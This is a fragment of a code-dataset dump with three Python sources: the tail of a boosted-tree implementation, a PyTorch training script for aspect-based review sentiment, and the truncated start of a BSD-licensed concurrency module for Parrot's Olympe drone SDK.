feature_candidate\r\n                random_filter = np.random.rand(len(feature_candidate), len(feature_candidate))\r\n            else:\r\n                random_feature_index = None\r\n                random_filter = None\r\n        else:\r\n            random_filter = None\r\n            if split_feature_demension <= len(feature_candidate):\r\n                random_feature_index = random.sample(feature_candidate, split_feature_demension)\r\n            elif len(feature_candidate) > 0:\r\n                random_feature_index = feature_candidate\r\n            else:\r\n                random_feature_index = None\r\n        #\r\n        node = {\r\n            \"name\": \"node\",\r\n            \"index\": container[\"index_node_global\"],\r\n            \"loss\": loss_node,\r\n            \"model\": model_node,\r\n            \"data\": data,\r\n            \"n_samples\": len(X),\r\n            \"j_feature\": None,\r\n            \"threshold\": None,\r\n            \"children\": {\r\n                \"left\": None,\r\n                \"right\": None\r\n            },\r\n            \"depth\": depth,\r\n            \"random_feature_index\": random_feature_index,\r\n            \"random_filter\": random_filter,\r\n        }\r\n        container[\"index_node_global\"] += 1\r\n        return node\r\n\r\n\r\n# ***********************************\r\n#\r\n# Side functions\r\n#\r\n# ***********************************\r\n\r\n\r\ndef filter_quantile(X, z, sample_weight, trim_quantile):\r\n    threshold = np.quantile(sample_weight, trim_quantile, interpolation=\"lower\")\r\n    mask = (sample_weight >= threshold)\r\n    X_train = X[mask]\r\n    z_train = z[mask]\r\n    sample_weight = sample_weight[mask]\r\n    return X_train, z_train, sample_weight\r\n\r\n\r\ndef filter_quantile_high(X, y, trim_quantile):\r\n    y_abs = np.abs(y)\r\n    threshold_high = np.quantile(y_abs, 1 - trim_quantile, interpolation=\"lower\")\r\n    mask = (y_abs <= threshold_high)\r\n    X_train = X[mask]\r\n    y_train = y[mask]\r\n    return X_train, y_train\r\n\r\n\r\ndef split_idx(j_feature, threshold, X_split):\r\n    idx_left = np.where(X_split[:, j_feature] <= threshold)[0]\r\n    idx_right = np.delete(np.arange(0, len(X_split)), idx_left)\r\n    assert len(idx_left) + len(idx_right) == len(X_split)\r\n    return idx_left, idx_right\r\n\r\n\r\ndef split_data(data, idx_left, idx_right):\r\n    X, y, output = data\r\n    data_left = (X[idx_left], y[idx_left], output[idx_left])\r\n    data_right = (X[idx_right], y[idx_right], output[idx_right])\r\n    return data_left, data_right\r\n", "sub_path": "src/BoostTree.py", "file_name": "BoostTree.py", "file_ext": "py", "file_size_in_byte": 24544, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.finfo", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 16, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 62, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 107, "usage_type": "call"}, {"api_name": "scipy.special.expit", "line_number": 114, "usage_type": "call"}, {"api_name": "scipy.special.softmax", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 148, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.log_loss", "line_number": 170, "usage_type": "call"}, {"api_name": "sklearn.metrics.log_loss", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 172, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 179, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 194, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 213, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 215, "usage_type": "attribute"}, {"api_name": "random.sample", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 353, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 363, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 363, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 363, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 370, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 437, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 439, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 442, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 442, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 443, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 443, "usage_type": "attribute"}, {"api_name": "numpy.delete", "line_number": 450, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 452, "usage_type": "call"}, {"api_name": "models.weight_ridge.weight_ridge", "line_number": 453, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 461, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 472, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 481, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 493, "usage_type": "call"}, {"api_name": "numpy.errstate", "line_number": 494, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 495, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 496, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 506, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 510, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 511, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 511, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 514, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 514, "usage_type": "attribute"}, {"api_name": "random.sample", "line_number": 521, "usage_type": "call"}, {"api_name": "numpy.quantile", "line_number": 556, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 565, "usage_type": "call"}, {"api_name": "numpy.quantile", "line_number": 566, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 574, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 575, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 575, "usage_type": "call"}]}
+{"seq_id": "327618874", "text": "import argparse\nimport os\nimport random\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.utils import shuffle\n\nfrom datasets import reviews\nfrom model_pytorch import DoubleTransformer, load_openai_pretrained_model\nfrom opt import OpenAIAdam\nfrom text_utils import TextEncoder\nfrom utils import (encode_dataset, iter_data,\n                   ResultLogger, make_path)\nfrom loss import ClassificationLossCompute\n\nn_updates = 0\nbest_score = 0\ntr_acc = 0.0\nva_acc = 0.0\ntr_corr = 0\nva_corr = 0\ndef main(raw_args=None):\n    global n_updates, best_score\n    n_updates = 0\n    best_score = 0\n    def transform_reviews(X1, X2):\n        n_batch = len(X1)\n        xmb = np.zeros((n_batch, n_ctx, 2), dtype=np.int32)\n        amb = np.zeros((n_batch, n_asp, 2), dtype=np.int32)\n        mmb = np.zeros((n_batch, n_ctx), dtype=np.float32)\n        ammb = np.zeros((n_batch, n_asp), dtype=np.float32)\n        start = encoder['_start_']\n        for i, (x1, x2), in enumerate(zip(X1, X2)):\n            x12 = [start] + x1[:max_len] + [clf_token]\n            x22 = [start] + x2[:asp_max_len] + [clf_token]\n            l12 = len(x12)\n            l22 = len(x22)\n            xmb[i, :l12, 0] = x12\n            mmb[i, :l12] = 1\n            amb[i, :l22, 0] = x22\n            ammb[i, :l22] = 1\n        # Position information that is added to the input embeddings in the TransformerModel\n        xmb[:, :, 1] = np.arange(n_vocab + n_special, n_vocab + n_special + n_ctx)\n        amb[:, :, 1] = np.arange(n_vocab + n_special, n_vocab + n_special + n_asp)\n        return xmb, amb, mmb, ammb\n\n    def iter_apply(Xs1, Xs2, Ms1, Ms2, Ys):\n        # fns = [lambda x: np.concatenate(x, 0), lambda x: float(np.sum(x))]\n        logits = []\n        cost = 0\n        with torch.no_grad():\n            dh_model.eval()\n            for xmb1, xmb2, mmb1, mmb2, ymb in iter_data(Xs1, Xs2, Ms1, Ms2, Ys, n_batch=n_batch_train, truncate=False,\n                                                         verbose=True):\n                n = len(xmb1)\n                XMB1 = torch.tensor(xmb1, dtype=torch.long).to(device)\n                XMB2 = torch.tensor(xmb2, dtype=torch.long).to(device)\n                YMB = torch.tensor(ymb, dtype=torch.long).to(device)\n                MMB1 = torch.tensor(mmb1).to(device)\n                MMB2 = torch.tensor(mmb2).to(device)\n                clf_logits, _ = dh_model(XMB1, XMB2)\n                clf_logits *= n\n                clf_losses = compute_loss_fct(XMB1, XMB2, YMB, MMB1, MMB2, clf_logits, only_return_losses=True)\n                clf_losses *= n\n                logits.append(clf_logits.to(\"cpu\").numpy())\n                cost += clf_losses.sum().item()\n            logits = np.concatenate(logits, 0)\n        return logits, cost\n\n    def iter_predict(Xs1, Xs2, Ms1, Ms2):\n        logits = []\n        alphas = []\n        with torch.no_grad():\n            dh_model.eval()\n            for xmb1, xmb2, mmb1, mmb2 in iter_data(Xs1, Xs2, Ms1, Ms2, n_batch=n_batch_train, truncate=False,\n                                                    verbose=True):\n                n = len(xmb1)\n                XMB1 = torch.tensor(xmb1, dtype=torch.long).to(device)\n                XMB2 = torch.tensor(xmb2, dtype=torch.long).to(device)\n                MMB1 = torch.tensor(mmb1).to(device)\n                MMB2 = torch.tensor(mmb2).to(device)\n                clf_logits, alpha = dh_model(XMB1, XMB2)\n                logits.append(clf_logits.to(\"cpu\").numpy())\n                alphas.append(alpha)\n        logits = np.concatenate(logits, 0)\n        return logits, alphas\n\n\n    def log(save_dir, desc):\n        global best_score, tr_acc, va_acc, tr_corr, va_corr\n        print(\"Logging\")\n        train_remain_acc, train_remain_corr, val_acc, val_corr, test_acc, test_corr, alphas = predict(dataset)\n        print('Epoch: %d Iteration: %d Train acc.: %.3f Val. acc.: %.3f Test. acc.: %.3f' % (n_epochs, n_updates, train_remain_acc, val_acc,test_acc))\n#        tr_logits, tr_cost = iter_apply(train_sen, train_asp, train_sen_M, train_asp_M, train_y)\n#        va_logits, va_cost = iter_apply(val_sen, val_asp, val_sen_M, val_asp_M, val_y)\n#        tr_cost = tr_cost / n_train\n#        va_cost = va_cost / n_valid\n#        tr_acc = accuracy_score(train_y, np.argmax(tr_logits, 1)) * 100.\n#        va_acc = accuracy_score(val_y, np.argmax(va_logits, 1)) * 100.\n#        tr_corr =  accuracy_score(train_y, np.argmax(tr_logits, 1), normalize=False)\n#        va_corr = accuracy_score(val_y, np.argmax(va_logits, 1), normalize=False)\n#        logger.log(n_epochs=n_epochs, n_updates=n_updates, tr_cost=tr_cost, va_cost=va_cost, tr_acc=tr_acc, va_acc=va_acc)\n#        print('Epoch: %d Iteration: %d Train cost: %.3f Val. cost: %.3f Train acc.: %.2f Val. acc.: %.2f' % (n_epochs, n_updates, tr_cost, va_cost, tr_acc, va_acc))\n        if submit:\n            score = va_acc\n            if score > best_score:\n                print(f'Previous best val. accuracy: {best_score:.3f} (new: {va_acc:.3f})')\n#                print('Saving best model...')\n                best_score = score\n#                path = os.path.join(save_dir, desc, 'best_params')\n#                torch.save(dh_model.state_dict(), make_path(path))\n\n    def predict(dataset):\n        pred_fn = pred_fns[dataset]\n        label_decoder = label_decoders[dataset]\n        train_remain_predictions, _ = iter_predict(train_remain_sen, train_remain_asp, train_remain_sen_M, train_remain_asp_M)\n        val_predictions, _ = iter_predict(val_sen, val_asp, val_sen_M, val_asp_M)\n        test_predictions, test_alpha = iter_predict(test_sen, test_asp, test_sen_M, test_asp_M)\n        train_remain_predictions = pred_fn(train_remain_predictions)\n        val_predictions = pred_fn(val_predictions)\n        test_predictions = pred_fn(test_predictions)\n        if label_decoder is not None:\n            train_remain_predictions = [label_decoder[prediction] for prediction in train_remain_predictions]\n            val_predictions = [label_decoder[prediction] for prediction in val_predictions]\n            test_predictions = [label_decoder[prediction] for prediction in test_predictions]\n        train_remain_acc = accuracy_score(train_remain_y, train_remain_predictions)\n        train_remain_corr = float(accuracy_score(train_remain_y, train_remain_predictions, normalize=False))\n        val_acc = accuracy_score(val_y, val_predictions)\n        val_corr = float(accuracy_score(val_y, val_predictions, normalize=False))\n        test_acc = accuracy_score(test_y, test_predictions)\n        test_corr = float(accuracy_score(test_y, test_predictions, normalize=False))\n        return train_remain_acc, train_remain_corr, val_acc, val_corr, test_acc, test_corr, test_alpha\n\n    def run_epoch():\n        for x_sen, m_sen, x_asp, m_asp, ymb in iter_data(*shuffle(train_sen,\n                                                        train_sen_M, train_asp,\n                                                        train_asp_M, trYt, random_state=np.random),\n                                       n_batch=n_batch_train, truncate=True, verbose=True):\n            global n_updates\n            dh_model.train()\n            X_SEN = torch.tensor(x_sen, dtype=torch.long).to(device)\n            X_ASP = torch.tensor(x_asp, dtype=torch.long).to(device)\n            YMB = torch.tensor(ymb, dtype=torch.long).to(device)\n            M_SEN = torch.tensor(m_sen).to(device)\n            M_ASP = torch.tensor(m_asp).to(device)\n            clf_logits, _ = dh_model(X_SEN, X_ASP)\n            compute_loss_fct(X_SEN, X_ASP, YMB, M_SEN, M_ASP, clf_logits)\n            n_updates += 1\n            if n_updates in range(0,len(train_sen), int(len(train_sen)/3)) and n_epochs == 0:\n                print('log')\n                log(save_dir, desc)\n\n\n    argmax = lambda x: np.argmax(x, 1)\n\n    pred_fns = {\n        'reviews': argmax,\n    }\n\n    filenames = {\n        'reviews': 'reviews.tsv',\n    }\n\n    label_decoders = {\n        'reviews': None,\n    }\n\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--desc', type=str, help=\"Description\", default='reviews')\n    parser.add_argument('--dataset', type=str, default='reviews')\n    parser.add_argument('--log_dir', type=str, default='log/')\n    parser.add_argument('--save_dir', type=str, default='./transformer-openai/save/')\n    parser.add_argument('--data_dir', type=str, default='../../data/train_val_split')\n    parser.add_argument('--submit', action='store_true', default=True)\n    parser.add_argument('--analysis', action='store_true')\n    parser.add_argument('--seed', type=int, default=42)\n    parser.add_argument('--n_iter', type=int, default=3)\n    parser.add_argument('--n_batch', type=int, default=8)\n    parser.add_argument('--max_grad_norm', type=int, default=1)\n    parser.add_argument('--lr', type=float, default=6.25e-5)\n    parser.add_argument('--lr_warmup', type=float, default=0.002)\n    parser.add_argument('--n_ctx', type=int, default=300)\n    parser.add_argument('--n_asp', type=int, default=17)\n    parser.add_argument('--n_embd', type=int, default=768)\n    parser.add_argument('--n_head', type=int, default=12)\n    parser.add_argument('--n_layer', type=int, default=12)\n    parser.add_argument('--embd_pdrop', type=float, default=0.1)\n    parser.add_argument('--attn_pdrop', type=float, default=0.1)\n    parser.add_argument('--resid_pdrop', type=float, default=0.1)\n    parser.add_argument('--clf_pdrop', type=float, default=0.1)\n    parser.add_argument('--l2', type=float, default=0.01)\n    parser.add_argument('--vector_l2', action='store_true')\n    parser.add_argument('--opt', type=str, default='adam')\n    parser.add_argument('--afn', type=str, default='gelu')\n    parser.add_argument('--lr_schedule', type=str, default='warmup_cosine')\n    parser.add_argument('--encoder_path', type=str, default='transformer-openai/model/encoder_bpe_40000.json')\n    parser.add_argument('--bpe_path', type=str, default='transformer-openai/model/vocab_40000.bpe')\n    parser.add_argument('--n_transfer', type=int, default=12)\n    parser.add_argument('--lm_coef', type=float, default=0.5)\n    parser.add_argument('--b1', type=float, default=0.9)\n    parser.add_argument('--b2', type=float, default=0.999)\n    parser.add_argument('--e', type=float, default=1e-8)\n    parser.add_argument('--n_valid', type=int, default=374)\n    parser.add_argument('--train_file', type=str)\n    parser.add_argument('--val_file', type=str)\n    parser.add_argument('--test_file', type=str)\n    parser.add_argument('--train_full_file', type=str)\n\n    args = parser.parse_args(raw_args)\n    print(args)\n\n    random.seed(args.seed)\n    np.random.seed(args.seed)\n    torch.manual_seed(args.seed)\n    torch.cuda.manual_seed_all(args.seed)\n\n    # Constants\n    submit = args.submit\n    dataset = args.dataset\n    n_ctx = args.n_ctx\n    n_asp = args.n_asp\n    save_dir = args.save_dir\n    desc = args.desc\n    data_dir = args.data_dir\n    log_dir = args.log_dir\n    train_file = args.train_file\n    val_file = args.val_file\n    test_file = args.test_file\n    train_full_file = args.train_full_file\n\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    n_gpu = torch.cuda.device_count()\n    print(\"device\", device, \"n_gpu\", n_gpu)\n\n    logger = ResultLogger(path=os.path.join(log_dir, '{}.jsonl'.format(desc)), **args.__dict__)\n    text_encoder = TextEncoder(args.encoder_path, args.bpe_path)\n    encoder = text_encoder.encoder\n    n_vocab = len(text_encoder.encoder)\n\n    print(\"Encoding dataset...\")\n    ((train_sen, train_asp, train_y), (val_sen, val_asp, val_y), (test_sen, test_asp, test_y), (train_remain_sen, train_remain_asp, train_remain_y)) = encode_dataset(*reviews(train_full_file, train_file, val_file, test_file),\n     encoder=text_encoder)\n\n    encoder['_start_'] = len(encoder)\n    encoder['_classify_'] = len(encoder)\n    clf_token = encoder['_classify_']\n    n_special = 3\n    max_len = n_ctx // 2 - 2\n    asp_max_len = n_asp // 2 - 2\n\n    # Define maximum context as the minimum of [512, x] where x is the max sentence length\n    n_ctx = min(max(\n        [len(x1[:max_len]) + len(x2[:max_len]) for x1, x2 in zip(train_sen, train_asp)]\n        + [len(x1[:max_len]) + len(x2[:max_len]) for x1, x2 in zip(val_sen, val_asp)]\n        + [len(x1[:max_len]) + len(x2[:max_len]) for x1, x2 in zip(test_sen, test_asp)]\n    ) + 3, n_ctx)\n\n    vocab = n_vocab + n_special + n_ctx\n    train_sen, train_asp, train_sen_M, train_asp_M = transform_reviews(train_sen, train_asp)\n    val_sen, val_asp, val_sen_M, val_asp_M = transform_reviews(val_sen, val_asp)\n    train_remain_sen, train_remain_asp, train_remain_sen_M, train_remain_asp_M = transform_reviews(train_remain_sen, train_remain_asp)\n    if submit:\n        test_sen, test_asp, test_sen_M, test_asp_M = transform_reviews(test_sen, test_asp)\n\n    n_train = len(train_y)\n    n_valid = len(val_y)\n    n_batch_train = args.n_batch * max(n_gpu, 1)\n    n_updates_total = (n_train // n_batch_train) * args.n_iter\n\n    dh_model = DoubleTransformer(args, clf_token, ('2 sot', 3), vocab, n_ctx, n_asp)\n    load_openai_pretrained_model(dh_model.transformer_sen, n_ctx=n_ctx, n_special=n_special)\n    load_openai_pretrained_model(dh_model.transformer_asp, n_ctx=n_asp, n_special=n_special)\n\n    criterion = nn.CrossEntropyLoss(reduction='none')\n    model_opt = OpenAIAdam(dh_model.parameters(),\n                           lr=args.lr,\n                           schedule=args.lr_schedule,\n                           warmup=args.lr_warmup,\n                           t_total=n_updates_total,\n                           b1=args.b1,\n                           b2=args.b2,\n                           e=args.e,\n                           l2=args.l2,\n                           vector_l2=args.vector_l2,\n                           max_grad_norm=args.max_grad_norm)\n    compute_loss_fct = ClassificationLossCompute(criterion,\n                                                 criterion,\n                                                 args.lm_coef,\n                                                 model_opt)\n\n    dh_model.to(device)\n    dh_model = nn.DataParallel(dh_model)\n\n    n_epochs = 0\n    if dataset != 'stsb':\n        trYt = train_y\n#    if submit:\n#        path = os.path.join(save_dir, desc, 'best_params')\n#        torch.save(dh_model.state_dict(), make_path(path))\n    for i in range(args.n_iter):\n        print(\"running epoch\", i)\n        run_epoch()\n        n_epochs += 1\n        log(save_dir, desc)\n    if submit:\n#        path = os.path.join(save_dir, desc, 'best_params')\n#        dh_model.load_state_dict(torch.load(path))\n        train_remain_acc, train_remain_corr, val_acc, val_corr, test_acc, test_corr, alphas = predict(dataset)\n\n    return train_remain_acc, train_remain_corr, val_acc, val_corr, test_acc, test_corr, alphas\n\nif __name__ == '__main__':\n    main()", "sub_path": "KAHOT/src/transformer-openai/train_reviews.py", "file_name": "train_reviews.py", "file_ext": "py", "file_size_in_byte": 14852, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.zeros", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 54, "usage_type": "call"}, {"api_name": "utils.iter_data", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 60, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 76, "usage_type": "call"}, {"api_name": "utils.iter_data", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 81, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 82, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 88, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 129, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 131, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 132, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 134, "usage_type": "call"}, {"api_name": "utils.iter_data", "line_number": 138, "usage_type": "call"}, {"api_name": "sklearn.utils.shuffle", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 140, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 145, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 146, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 157, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 172, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 217, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 219, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 235, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 235, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 236, "usage_type": "attribute"}, {"api_name": "utils.ResultLogger", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path", "line_number": 239, "usage_type": "attribute"}, {"api_name": "text_utils.TextEncoder", "line_number": 240, "usage_type": "call"}, {"api_name": "utils.encode_dataset", "line_number": 245, "usage_type": "call"}, {"api_name": "datasets.reviews", "line_number": 245, "usage_type": "call"}, {"api_name": "model_pytorch.DoubleTransformer", "line_number": 274, "usage_type": "call"}, {"api_name": "model_pytorch.load_openai_pretrained_model", "line_number": 275, "usage_type": "call"}, {"api_name": "model_pytorch.load_openai_pretrained_model", "line_number": 276, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 278, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 278, "usage_type": "name"}, {"api_name": "opt.OpenAIAdam", "line_number": 279, "usage_type": "call"}, {"api_name": "loss.ClassificationLossCompute", "line_number": 290, "usage_type": "call"}, {"api_name": "torch.nn.DataParallel", "line_number": 296, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 296, "usage_type": "name"}]}
+{"seq_id": "388624785", "text": "#  Copyright (C) 2019-2021 Parrot Drones SAS\n#\n#  Redistribution and use in source and binary forms, with or without\n#  modification, are permitted provided that the following conditions\n#  are met:\n#  * Redistributions of source code must retain the above copyright\n#    notice, this list of conditions and the following disclaimer.\n#  * Redistributions in binary form must reproduce the above copyright\n#    notice, this list of conditions and the following disclaimer in\n#    the documentation and/or other materials provided with the\n#    distribution.\n#  * Neither the name of the Parrot Company nor the names\n#    of its contributors may be used to endorse or promote products\n#    derived from this software without specific prior written\n#    permission.\n#\n#  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n#  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n#  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n#  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n#  PARROT COMPANY BE LIABLE FOR ANY DIRECT, INDIRECT,\n#  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n#  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n#  OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n#  AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n#  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n#  OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n#  SUCH DAMAGE.\n\n\nfrom aenum import IntFlag\n\nimport concurrent.futures\nimport ctypes\nimport functools\nimport inspect\nimport logging\nimport olympe_deps as od\nimport os\nimport threading\nimport time\n\n\ntry:\n    from itertools import ifilter as filter\nexcept ImportError:\n    # python3\n    pass\n\n\nlogger = logging.getLogger(\"concurrent.futures\")\nlogger.addHandler(logging.StreamHandler())\nlogger.setLevel(logging.DEBUG)\n\n\nclass PompEvent(IntFlag):\n    IN = od.POMP_FD_EVENT_IN\n    PRI = od.POMP_FD_EVENT_PRI\n    OUT = od.POMP_FD_EVENT_OUT\n    ERR = od.POMP_FD_EVENT_ERR\n    HUP = od.POMP_FD_EVENT_HUP\n\n\nclass Future(concurrent.futures.Future):\n\n    \"\"\"\n    A chainable Future class\n    \"\"\"\n\n    _eventloop_future_blocking = False\n\n    def __init__(self, loop=None):\n        super(Future, self).__init__()\n        self._loop = loop\n        self._register()\n\n    @property\n    def loop(self):\n        return self._loop\n\n    @loop.setter\n    def loop(self, loop):\n        if self._loop is not None:\n            raise RuntimeError(\"Future is already attached to a loop\")\n        self._loop = loop\n        self._register()\n\n    def _register(self):\n        if self._loop is not None:\n            self._loop._register_future(self)\n            self.add_done_callback(lambda _: self._loop._unregister_future(self))\n\n    def set_from(self, source):\n        if self.done():\n            return\n        if source.cancelled() and self.cancel():\n            return\n        if not self.running() and not self.set_running_or_notify_cancel():\n            return\n        try:\n            exception = source.exception()\n        except:  # noqa\n            self.cancel()\n        else:\n            if exception is not None:\n                self.set_exception(exception)\n            else:\n                result = source.result()\n                if not isinstance(result, Future):\n                    self.set_result(result)\n                else:\n                    result.chain(self)\n\n    def chain(self, next_):\n        if self.done():\n            next_.set_from(self)\n        else:\n            self.add_done_callback(lambda _: next_.set_from(self))\n\n    def _then_callback(self, fn, result, deferred):\n        try:\n            if deferred:\n                temp = self._loop.run_later(fn, self.result())\n                temp.chain(result)\n            elif not threading.current_thread() is self._loop:\n                temp = self._loop.run_async(fn, self.result())\n                temp.chain(result)\n            else:\n                try:\n                    res = fn(self.result())\n                except concurrent.futures.CancelledError:\n                    result.cancel()\n                except Exception as e:\n                    result.set_exception(e)\n                except:  # noqa\n                    result.cancel()\n                else:\n                    if not isinstance(res, Future):\n                        result.set_result(res)\n                    else:\n                        